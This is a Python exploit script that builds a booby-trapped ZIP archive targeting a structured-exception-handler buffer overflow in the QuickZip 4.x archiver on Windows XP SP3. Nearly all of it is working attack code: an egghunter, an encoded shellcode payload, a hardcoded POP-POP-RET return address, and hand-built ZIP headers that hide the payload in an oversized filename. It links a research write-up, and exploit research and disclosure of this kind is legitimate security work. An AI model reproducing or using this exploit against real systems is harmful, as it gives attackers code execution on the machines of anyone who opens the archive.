#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

EGGHUNTER = (
    b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
    b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)

SHELL = (
    b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9'
    b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW'
    b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq'
    b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl'
    b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw'
    b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp'
    b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju'
    b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM'
    b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy'
    b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E'
    b'mkaW232R2OSZs00SkO9EAA'
)

FILENAME = (
    # Translates to \xeb\x04: JMP SHORT +0x6
    b'\x89\x04' +
    # Padding
    b'\x41' +
    # POP EAX
    b'\x58' +
    # Translates to \xeb\x05: JMP SHORT +0x7
    b'\x89\x05' +
    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
    b'\x8a\xf6\x98\x98\x98' +
    EGGHUNTER +
    b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
    # Jump to the start of our buffer
    # This will be translated to \xe9\x02\xff\xff\xff
    b'\x82\x02\x98\x98\x98' +
    # Fill the rest of our buffer
    b'A' * (45 - 5) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 16 +
    b'fluiflui' +
    SHELL
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)
